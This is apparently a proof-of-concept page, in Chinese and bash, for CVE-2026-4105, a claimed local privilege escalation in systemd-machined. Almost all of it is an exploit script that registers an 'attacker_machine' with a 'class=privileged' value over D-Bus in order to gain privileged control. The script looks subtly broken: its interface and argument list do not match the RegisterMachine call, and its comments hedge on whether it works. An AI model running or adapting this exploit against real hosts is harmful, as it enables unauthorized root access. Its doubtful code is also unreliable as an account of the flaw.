CVE-2026-4105 systemd-machined服务不当访问控制导致本地权限提升

#!/bin/bash # CVE-2026-4105 PoC - systemd-machined Improper Access Control # This PoC demonstrates the class parameter validation issue # Check if dbus-send is available if ! command -v dbus-send &> /dev/null; then echo "dbus-send not found. Install dbus-tools first." exit 1 fi # Target D-Bus path for systemd-machined DBUS_PATH="/org/freedesktop/machine1" DBUS_IFACE="org.freedesktop.machine1.Machine" # Attempt to register a machine with attacker-controlled class parameter echo "[*] Attempting to exploit CVE-2026-4105..." echo "[*] Target: systemd-machined RegisterMachine method" # This attempts to register a machine with a specific class value # that may bypass proper access control validation dbus-send --system \ --dest=org.freedesktop.machine1 \ --print-reply \ "$DBUS_PATH" \ "$DBUS_IFACE.RegisterMachine" \ string:"attacker_machine" \ array:string:"class=privileged" \ string:"" \ dict:string:variant:"" echo "[+] If successful, this creates a controllable machine object" echo "[+] Attacker can then invoke privileged methods on the object"